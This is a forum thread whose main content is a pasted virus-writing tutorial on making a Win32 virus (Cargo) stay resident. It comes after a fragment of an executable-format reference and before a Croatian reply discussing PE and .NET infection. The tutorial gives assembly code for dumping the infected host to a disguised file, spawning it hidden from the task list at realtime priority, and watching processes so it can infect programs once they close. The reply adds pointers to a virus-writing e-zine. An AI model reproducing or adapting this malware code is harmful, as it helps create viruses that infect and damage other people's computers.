4.x 04h Windows 386 05h BOSS (Borland Operating System Services) 37h BYTE other EXE flags bit 0: supports long filenames bit 1: 2.X protected mode bit 2: 2.X proportional font bit 3: gangload area 38h WORD offset to return thunks or start of gangload area 3Ah WORD offset to segment reference thunks or length of gangload area 3Ch WORD minimum code swap area size 3Eh 2 BYTEs expected Windows version (minor version first) Note: this header is documented in detail in the Windows 3.1 SDK Programmer's Reference, Vol 4. Bitfields for new executable program flags: Bit(s) Description 0-1 DGROUP type 0 = none 1 = single shared 2 = multiple (unshared) 3 = (null) 2 global initialization 3 protected mode only 4 8086 instructions 5 80286 instructions 6 80386 instructions 7 80x87 instructions Bitfields for new executable application flags: Bit(s) Description 0-2 application type 001 full screen (not aware of Windows/P.M. API) 010 compatible with Windows/P.M. API 011 uses Windows/P.M. API 3 is a Family Application (OS/2) 5 0=executable, 1=errors in image 6 non-conforming program (valid stack is not maintained) 7 DLL or driver rather than application (SS:SP info invalid, CS:IP points at FAR init routine called with AX=module handle which returns AX=0000h on failure, AX nonzero on successful initialization) Format of new executable segment table record: 00h WORD offset in file (shift left by align shift to get byte offs) 02h WORD length of image in file (0000h = 64K) 04h WORD segment attributes (see below) 06h WORD number of bytes to allocate for segment (0000h = 64K) Note: the first segment table entry is entry number 1 Bitfields for segment attributes: Bit(s) Description 0 data segment rather than code segment 1 unused??? 2 real mode 3 iterated 4 movable 5 sharable 6 preloaded rather than demand-loaded 7 execute-only (code) or read-only (data) 8 relocations (directly following code for this segment) 9 debug info present 10,11 80286 DPL bits 12 discardable 13-15 discard priority Format of new executable relocation data (immediately follows segment image): Offset Size Description 00h WORD number of relocation items 02h 8N BYTEs relocation items Offset Size Description 00h BYTE relocation type 00h LOBYTE 02h BASE 03h PTR 05h OFFS 0Bh PTR48 0Dh OFFS32 'DDDDDDDDDDDD? ? Foreword ? ADDDDDDDDDDDDSCH Win32 residency... A while ago people said it was impossible. My reply back then: Bullshit!! As for the fact that I didn't have any clue on how to do it, is a whole other thing... Even from my very first article I promised I will write about this. Until now, many virus writers researched this and many good Windows residents were written. Please, do not make a confusion between the Win32 residency and the Ring0 residency. I will talk about Ring0 residency in another article. The Ring0 technique was largely used in the incipient stages of windows virus programming by programmers like Quantum, Zombie, Tatung, etc. The true Win32 residency, which works also on WindowsNT had to wait a little longer until the programmers got a good grip on the use of the win32 apis, and on many of the hidden things inside this system. One of the first ones to do so were Jacky Qwerty (Win32. Redemption), Virogen (Win32.Enumero) and others. Upon studying the docs available, I was not satisfied with the attainable methods for scanning for the running processes. So, I stumbled over a program from the Visual C++ kit called PVIEW95. While disassambling and looking in the code I found out a great way of doing it. The drawback: it doesn't work on WindowsNT... But there is another method for WindowsNT that I will discuss later. After discovering this method and solving a damn bug with help from JackyQwerty, I started working on a full Win32 resident virus. It was not a long time until Cargo appeared. And after the virus came this tutorial. I will try to explain all the stuff one by one. Even if you are eager to do a Win32 resident virus, I recommend you to read the basic win32 stuff as it will help you understand most of the explanations here. Also, a good book would be handy... The "Win32 API SuperBible" from ___ is a great refference. You should be familiar with what a process is, what a thread is and how do they get created and ran. I will assume that we are working on a virus which holds the delta handle in the EBP register and the refference to an api is done like this: call [ebp+_] So, the name of the real api preceded by an underscore. Let's talk a little about the main concept behind process spawning. The idea is this: the infected host starts running and the first to receive the control is our virus. Then, the code must dump on the hard disk somewhere a file, a valid exe file, that contains the complete virus body. Then the virus must run this valid file and then return to host. It might look like our virus finished execution, but if you think, you realize that the spawned file, the one we dump on the hdd is still running. This is the basic, big picture idea. We will start talking about this deeper. Before starting to talk let me explain what a mutex is. A mutex is actually a process relative handle. This means that whenever you create a new mutex, each process is able to know wether that mutex already existed or not. This is very important for our virus, as the mutex will represent the signal for our resident state. After the mutex is created one must call GetLastError and if eax is not 0 then it means that the mutex already existed, it was already created by another process. This is how our "go resident" part starts: 'DDDDDDDDDDDDDDDDDDDD? ? Checking residency ? ADDDDDDDDDDDDDDDDDDDDSCH lea eax, [ebp+mutex] ; mutex name push eax ; push 1 ; push 0 ; call [ebp+_CreateMutexA] ; create mutex call [ebp+_GetLastError] ; or eax, eax ; already existed?? jnz spawned ; If execution continues here, it means that our virus in *not* resident so we must go resident. Otherwise, we jump to the "spawned" label where the resident code continues to run. The "mutex" variable points to a null terminated string, something like: "my resident code",0 , or something... 'DDDDDDDDDDDDDDDDDDDDDDDDD? ? Dumping the file to HDD ? ADDDDDDDDDDDDDDDDDDDDDDDDDSCH There exist two methods of dumping a file to hdd. One is used in the Enumero viru by Virogen and it consists of carrying a second copy of the virus as a full PE file and dumping it. I, however, in my Cargo virus choosed another method, much harder, but, I think, more beautiful, if I may say so. (please note that JQ uses in his Redemption virus another method, which consists in attaching the whole virus with its PE header at the end of file and changing the pointer in the MZ header to point to it; I will not discuss this method here). My method consists in trying to dump the host file together with the virus from memory to disk. It might look simple, but it is not so simple. Remember that when in memory, the sections are aligned by padding to section alignment (usualy 1000h) while on disk they are aligned to file alignment (200h). So, we must rearrange the sections as we dump them to meet those requirements. Let's start. First, we must create a new empty file. The "spawnname" variable points to the name: pushad ; push 0 ; file attributes push 0 ; "" push 2 ; Create New File push 0 ; Security option = default push 1 ; File share for read push 80000000h or 40000000h ; General write and read lea eax, [ebp+spawnname] ; push eax ; pointer to filename Call [ebp+_CreateFileA] ; ; cmp eax, -1 ; failed to create? je exit ; mov [ebp+filehandle], eax ; save filehandle popad ; After we created the file we must start checking the running process to see if there is any problem dumping it; we check for MS header, PE header and so on: mov esi, [ebp+imagebase] ; first check that it is a cmp word ptr [esi], 'ZM' ; valid MS-DOS file... jne exit ; cmp word ptr [esi.MZ_lfarlc], 40h ; check the NewExe marker jne exit ; mov esi, [esi.MZ_lfanew] ; locate PE header offset add esi, [ebp+imagebase] ; push 200h ; check if we can read push esi ; the ammount of memo from there call [ebp+_IsBadReadPtr] ; or eax, eax ; jnz exit ; cmp word ptr [esi], 'EP' ; is it the PE header? jne exit ; Now we start retrieving data we will need to dump the file: xor eax, eax ; mov ax, [esi.NumberOfSections] ; take number of sections push eax ; and remember them add esi, IMAGE_FILE_HEADER_SIZE ; go to optional header mov edx, [esi.OH_FileAlignment] ; save file alignment mov [ebp+filealign], edx ; add esi, IMAGE_OPTIONAL_HEADER_SIZE ; go to the first section header mov ecx, IMAGE_SECTION_HEADER_SIZE ; multiplicator mul ecx ; obtain all section headers size mov edx, eax ; save it to edx push edx ; and save it on the stack add esi, eax ; go at the end Now we are at the end of all the headers and we can write them down in the destination file: push esi ; write down all the headers sub esi, [ebp+imagebase] ; in the file to the new dest push 0 ; file. lea edx, nob ; push edx ; push esi ; push [ebp+imagebase] ; push [ebp+filehandle] ; call [ebp+_WriteFile] ; pop esi ; And now starts the hard part. Dumping the section bodies. First we locate the first section header: pop edx ; restore section headers size pop ecx ; cx = number of sections sub esi, edx ; go to the first section header ; pushad ; save all regs Now, even if the section bodies *should* be in turn as the section headers show, we must be sure that we locate first the smallest pointer to raw data: pushad ; save all regs mov edi, 09999999h ; now we will try to locate the ; smallest PointerToRawData to locate_smallest_pointer: ; know which section body comes mov eax, [esi.SH_PointerToRawData] ; first, in case they are cmp eax, edi ; mangled relative to their jnb still_smaller ; headers. xchg eax, edi ; ; still_smaller: ; add esi, IMAGE_SECTION_HEADER_SIZE ; loop locate_smallest_pointer ; mov [ebp+temp], edi ; popad ; restore registers After doing this, we must pad a little, because the first section body must start at a multiple of file alignment: push ecx ; push edx ; push 1 ; push 0 ; push 0 ; push [ebp+filehandle] ; call [ebp+_SetFilePointer] ; get in EAX how much we wrote pop edx ; already in the destination pop ecx ; file. ; mov edi, [ebp+temp] ; EDI is the first data offset sub edi, eax ; and we must pad with the add esi, edx ; difference!! ; push 0 ; lea eax, nob ; push eax ; push edi ; push esi ; push [ebp+filehandle] ; call [ebp+_WriteFile] ; write difference!! ; popad ; restore regs And now we come to the real section dump part: section_dump_loop: ; now let's dump the sections push ecx ; bodies. mov edi, [esi.SH_VirtualAddress] ; take it from memory, aligned add edi, [ebp+imagebase] ; to imagebase mov eax, dword ptr [esi.SH_VirtualSize]; now choose the smallest between mov ecx, dword ptr [esi.SH_SizeOfRawData]; VirtualSize and SizeOfRawData cmp ecx, eax ; to solve the Borland/MicroSoft jnb ok_ ; difference in linking. xchg eax, ecx ; Eax now holds the unaligned size of the section. In memory it is aligned to section align, and we must realign it to file align: ok_: mov ecx, [ebp+filealign] ; now we must align the size push eax ; before alignment to the push ecx ; file alignment, because in xor edx, edx ; memory it was aligned to div ecx ; section alignment cmp edx, 0 ; jne more ; pop ecx ; pop eax ; jmp no_more ; ; more: ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; eax= size aligned And now it's time to write the section body to disk: no_more: ; push 0 ; write the section to the lea ecx, nob ; push ecx ; file... push eax ; push edi ; push filehandle ; call [ebp+_WriteFile] ; ...And continue until the last section: pop ecx ; restore index add esi, IMAGE_SECTION_HEADER_SIZE ; get next section... loop section_dump_loop ; Now, we close the destination file and... push [ebp+filehandle] ; close destination file! call [ebp+_CloseHandle] ; ...we are over with the file dumping. Simple, huh? A few little things to say first about the name of the spawned file. First of all it can be anything, no need for an .exe extension. Second of all, the best place to hide it would be the windows system directory, and, in my opinion, the best name would be .dll. Your imagination here! 'DDDDDDDDDDDDDDDDDDD? ? Running the virus ? ADDDDDDDDDDDDDDDDDDDSCH Now, our spawned file is on the hdd. All we need to do is run it as a new process in the system. For this we must first retrieve the startup information which we will use later: go_res: ; let's go resident! lea eax, [ebp+startupinfo] ; push eax ; get the startup info call [ebp+_GetStartupInfoA] ; The pointer to the startup information is used by the call to CreateProcess, where we start the new process: lea eax, [ebp+processinfo] ; push eax ; and spawn ourselves lea eax, [ebp+startupinfo] ; push eax ; push 0 ; push 0 ; push 67108928h ; push 0 ; do not inherit handles push 0 ; push 0 ; lea eax, [ebp+spawnname] ; push eax ; push 0 ; call [ebp+_CreateProcessA] ; Run the Process!! After creating the process, the handle of the new started process remains opened, therefore we must close it: lea esi, [ebp+processinfo] ; close the new process handle push [esi.PI_hProcess] ; call [ebp+_CloseHandle] ; And now, the final steps of this part of the virus: push 1000 ; allow new process to start call [ebp+_Sleep] ; ; jmp exit ; return to host! After this, the host continues running, while the new spawned copy of the virus has just started and begin execution. If you look a little above, where we check the residency status, we checked if the mutex already existed or not. If it already exists, and this is the situation for the new spawned copy that just started, the execution continues at the next label. Here we must do again the mutex trick, because if somebody runs by hand the spawned copy again, the stuff might get complicated, so we must be assured that the code didn't pass through this gate twice: spawned: ; lea eax, [ebp+mutex2] ; push eax ; push 1 ; If the mutex already existed push 0 ; it means we are already call [ebp+_CreateMutexA] ; resident, otherwise we must call [ebp+_GetLastError] ; quit! or eax, eax ; jnz exit ; Now, that we are inside the resident copy of our virus, we must do all the stuff needed to give us maximum strength. First we must get our own handle and set ourself to Realtime Priority Class (highest): call [ebp+_GetCurrentProcess] ; get then current process handle push 100h ; realtime priority class push eax ; handle of current process call [ebp+_SetPriorityClass] ; set priority to realtime Now, for Windos95/98 we can register our process as a service in the system, which hides our process from the CTRL-ALT-DEL list. This will *NOT* work on WindowsNT or Windows2000: push 1 ; Register the current running push 0 ; process as a service. call [ebp+_RegisterServiceProcess]; Now, to have even more strength, we are about to create a new thread and set it to the highest priority. We have to create it suspended and resume it later: lea eax, [ebp+threadid] ; Prepare to create a new thread for push eax ; the current process. push 4 ; Create it Suspended push 0 ; lea eax, [ebp+VirusThread] ; push eax ; push 0h ; push 0 ; call [ebp+_CreateThread] ; do it! ; mov [ebp+hthread], eax ; save thread handle The new thread, where our virus will do the actual system monitoring is given by the address of the "VirusThread" procedure. After creating the thread (you could check for errors also), let us set the priority of the new thread to Time Critical. This will give our code a priviledge level of 31, the highest possible. This is because the time critical thread is combined with a realtime class process: push 15 ; set thread priority to push [ebp+hthread] ; TIME_CRITICAL call [ebp+_SetThreadPriority] ; And now, let's resume the thread: push [ebp+hthread] ; call [ebp+_ResumeThread] ; start thread The currently running thread is useless now, so we can safely freeze it until the other one ends. This is done by waiting for the new thread's handle to become signaled: push -1 ; stop current thread and wait for push [ebp+hthread] ; the other to finish call [ebp+_WaitForSingleObject]; If the other thread ends, our spawned process will end also: push 0 ; quit... call [ebp+_ExitProcess] ; And now let's concentrate on the actual part of the virus. The part which monitors the system. Let me explain once again what we have here. Here we have a running process, with a running thread, set to the highest priority possible, and invisible in the system. I hope you realize the strength we have now... All we need to do is find a way to check when one of the running processes ends, so we can infect it after closing. The method I will present here is the one I use in the Cargo virus. There, I create 2 arrays of strings. I first fill up one of them, and then, from time to time I fill the other array and compare them. As soon as one name dissapeares, I infect it. How do I get the names of the running processes? I do it using the toolhelp32 stuff. The apis used are as follows: CreateToolhelpSnapshot32 Process32First Process32Next The first api gives us a so called snapshot handle, which is passed to the next two apis. The next two apis fill up a structure called PROCESSENTRY32, where, among all the data, we have the full pathname and file name for each and every running processes. I will only give you a guideline to the virus thread, as the meaning of this article was to show you how to go resident. If you want to know all the stuff exactly check the Cargo source code. Now let's see how we do here... First we must retake the delta handle because the new thread destroys it: VirusThread proc near ; This is the resident part. call thread_delta ; we must get the delta again because ; EBP gets smashed... thread_delta: ; pop ebp ; sub ebp, offset thread_delta ; And now, the main system look up loop: again_again: ; call FillFirstArray ; Create the first process names array ; again: ; cmp [ebp+error], 1 ; if there was an error, abort! je exit_thread ; push 500 ; call [ebp+_Sleep] ; sleep half a second call FillSecondArray ; Create the second process names array call CompareArrays ; compare the arrays jnc again ; and loop... jmp again_again ; If an error occurs, we can safely quit: exit_thread: ; push 0 ; finish current thread... call [ebp+_ExitThread] ; FillFirstArray proc near ; ... ; FillFirstArray endp ; ; FillSecondArray proc near ; ... ; FillSecondArray endp ; Here we have the procedure that locates all the running processes in the system: WalkProcesses proc near ; Get the running processes... push 0 ; snap for the current process push 2 ; snap processes call [ebp+_CreateToolhelp32Snapshot] ; create toolhelp handle mov [ebp+t32h], eax ; save toolhelp handle cmp eax, -1 ; was it a failure? je exit ; ; lea eax, [ebp+process32] ; point the process32 structure push eax ; mov ecx, dword ptr [ebp+t32h] ; push ecx ; call [ebp+_Process32First] ; get first process or eax, eax ; no process? jz exit ; (thx JQwerty for the bug solving!) ; call init_memo ; init memory array! cmp [ebp+error], 1 ; if error, it means we don't have je no_next ; enough memory... ; next: ; lea eax, [ebp+process32] ; get next process push eax ; mov ecx, dword ptr [ebp+t32h] ; push ecx ; call [ebp+_Process32Next] ; or eax, eax ; jz no_next ; call incr_memo ; increment memory array! cmp [ebp+error], 1 ; je no_next ; jmp next ; ; no_next: ; push [ebp+t32h] ; close the toolhelp handle... call [ebp+_CloseHandle] ; ret ; The calls to init_memo and incr_memo routines are not relevant for this article. Just check them in the source of the Cargo virus. Everytime we notice that one process has ended, we can call a routine, like for example the one that follows. This one displays a message box with the name of the closed process: HandleClosedProc [ Sundance @ 28.10.2004. 23:16 ] @
Molio bih da ubuduce ovakve "kobasice" zakacis kao attachment :)
Ovaj tut je star skoro 10 godina. Ako stvarno zelis nauciti teoriju infekcije PE datoteke najbolje bi bilo da procitas neke tute-ove o strukturi Portable Executable formata, sta znace koja polja u File Headeru, Optional Headeru, kako koristiti data directory, export tablice za nalazenje adresa API-ja i sl... Vecina njih su napisani za pure win32asm tako da ces trebati nauciti i kojih 20-ak osnovnih instrukcija i sta rade :) Vec danas, a nakon izlaska longhorn tehnologija (avalon, indigo, blabla...opcenito svega baziranog na winFX), postaje normalno i nasiroko distrubuiran PE format sa managed ekstenzijama. .idata sekcija (ako postoji) importa samo jednu fju iz mscoree.dll (_CorExeMain/_CorDllMain) koja incijalizira CLR. U taj novi PE format jos su dodani CLR header, jos jedan entry u data directory broj 14, metapodaci te sam IL kod. Mozes doduse inficirati taj mali 6-bajtni stub koji JMP-a na importanu fju u win32asm, a ako si vjest u MSIL (Intermidiate Language), mozes pokusati petljati nesto sa IL kodom. Mislim da ovo zadnje nece raditi sa strong-named assemblyima jerbo oni imaju u FileDef polju u definition tablici metapodataka pohranjen SHA-1 hash svakog od managed modula unutar assemblya i jos imaju sadrzaj cijele datoteke hashiran i potpisan 1024-bitnim RSA kljucem. Neke od ovih tehnika su spomenute u zadnjem izdanju e-zinea poznate vx grupe 29a - www.29a.host.sk U svakom slucaju, ako zelis nesto korisno napraviti morat ces dobro ugrijati stolicu nekoliko tjedana, ako zelis samo koristiti vec gotovu komponentu pa drag and drop i podesiti u properties koje ce datoteke inficirati morat cu te nazalost razocarati jer takvo nesto ne postoji. Tko zna - zna X=) Copyright (C) 2001-2025 by www.elitesecurity.org. All rights reserved.
|